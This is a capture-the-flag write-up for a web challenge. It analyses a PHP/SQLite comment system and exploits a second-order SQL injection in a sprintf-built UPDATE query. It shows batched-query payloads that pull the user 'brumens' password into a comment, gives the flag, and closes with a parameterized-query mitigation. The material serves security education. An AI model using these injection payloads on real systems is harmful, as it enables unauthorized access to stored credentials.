📜 Description
Challenge Description
A hacking forum has appeared on the internet and is about to go viral. However, it seems that a 0-day has been discovered in the forum, can you exploit it?
The flag is the password for the user: brumens
.
🕵️ Proof of Concept
We have here a web interface with two user inputs: AUTHOR
and COMMENT
. The application functions as a post-and-comment system where a post made by “brumens” is displayed along with a comment by “pwnii.” The backend is implemented in PHP.
Given that the challenge description specifies that the flag is the password of the user “brumens,” which, upon further inspection, is located in a database, we can easily assume that we will need to exploit an SQL injection.
Source Code Analysis
General Analysis
User inputs are inserted into the comments
table using an SQL INSERT
query :
$input_author = urldecode("input_author");
$input_comment = urldecode("input_comment");
$stmt = $db->prepare(
"INSERT INTO comments (post_id, author, comment, image) VALUES (1, :author, :comment, 'https://static.vecteezy.com/system/resources/previews/035/672/488/non_2x/ai-generated-orange-cat-with-sunglasses-giving-thumbs-up-on-transparent-background-free-png.png')"
);
$stmt->bindValue(":author", $input_author, SQLITE3_TEXT);
$stmt->bindValue(":comment", $input_comment, SQLITE3_TEXT);
$stmt->execute();
This part of the code does not seem to contain any vulnerabilities. The bindValue()
function is used to insert user data into the INSERT
SQL query. This function is secure unless the user input is used in an SQL LIKE
clause, which is not the case here.
The PHP code then loads all posts from the database and fetches associated comments for each post. Each post is transformed into a Post
object via the makePost
method, which initializes its properties for rendering on the web page (rendering functions are defined elsewhere in the code):
$posts = $db->query("SELECT * FROM posts");
while ($p = $posts->fetchArray(SQLITE3_ASSOC)) {
$post = new Post();
$post->makePost($p['author'], $p['banner'], $p['title'], $p['post']);
$comments = $db->query(
sprintf("SELECT author, comment, image FROM comments WHERE post_id = '%d'", $p["id"])
);
Analysis of Comment Handling
Now let’s focus on a more intriguing part of the code that might be exploitable. Within the while loop above, we find the following snippet:
while ($comment = $comments->fetchArray(SQLITE3_ASSOC)) {
if ( preg_match("/(bad|terrible|worst|skid)/", $comment['comment']) ) {
$db->exec(
sprintf("UPDATE users SET banned = 1 WHERE username = '%s'", $comment['author'])
);
$post->addComment($comment["image"], $comment["author"], "*****", true);
} else {
$post->addComment($comment["image"], $comment["author"], $comment["comment"]);
}
}
This loop fetches the comments associated with a post. Within this loop, the condition if (preg_match("/(bad|terrible|worst|skid)/", $comment['comment']))
checks if one of the words ‘bad, terrible…’ is present in the comment. If so, the following code executes:
$db->exec(
sprintf("UPDATE users SET banned = 1 WHERE username = '%s'", $comment['author'])
);
In other words, an UPDATE
SQL query containing our input author
is executed. Notably, the input is directly concatenated into the SQL query using a format string with the sprintf()
function. A quick review of PHP’s sprintf()
reveals that it is a simple string formatting function with no filtering. This indicates a likely entry point for SQL injection.
Second-order SQL Injection
To confirm our hypothesis, we provide COMMENT
as bad
to ensure the comment processing passes through the format string in sprintf
. Then, we attempt an erroneous SQL injection payload to trigger an error:
Payload
AUTHOR: test' or-- -
COMMENT: bad
As expected, this results in an SQL error:
With our hypothesis confirmed, we can now focus on crafting a payload to retrieve the password for the user brumens
.
After several tests, it appears that typical SQL injection queries such as SELECT
do not return results. This makes sense since our SQL injection occurs in an INSERT
query, which has no output.
We will instead leverage the application’s functionality to retrieve our flag.
As explained in the source code analysis, comments are processed in a while
loop, which continues to handle additional comments (if any) after the current loop iteration completes:
while ($comment = $comments->fetchArray(SQLITE3_ASSOC))
This means we can try to add a comment, as all comments are processed and displayed, to get our output and retrieve the flag.
In the challenge-provided setup code, we see how “pwnii’s” comment was inserted:
$db->exec("
INSERT INTO comments (post_id, author, comment, image) VALUES
(1, 'pwnii', 'I heard that someone can modify other people''s data!', 'https://cdn-yeswehack.com/user/avatar/eea04f80-f1d8-4ccb-84a0-e5d045d73607')
");
We append ';
to our INSERT
query to exit the UPDATE
statement and create a new query (Batched queries
), resulting in:
'; INSERT INTO comments (post_id, author, comment) VALUES (1, 'pwned', 'pwned')-- -
After sending this payload, we see our new comment appear:
This confirms that we can indeed retrieve data from our SQL injection. Finally, to retrieve the password for “brumens,” we craft a SELECT
query within our INSERT
query to fetch the password and insert it into the comment
column:
'; INSERT INTO comments (post_id, author, comment) VALUES (1, 'pwned', (select password from users where username = 'brumens'))-- -
And there’s the flag : FLAG{Vuln3r4b1li7y_Exp0s3d!!}
🔐 Mitigations
SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.
The following code is vulnerable to SQL injection because the user input is concatenated directly into the query :
$db->exec(
sprintf("UPDATE users SET banned = 1 WHERE username = '%s'", $comment['author'])
);
This code can be easily rewritten in a way that prevents the user input from interfering with the query structure : With $stmt->bindValue()
for example.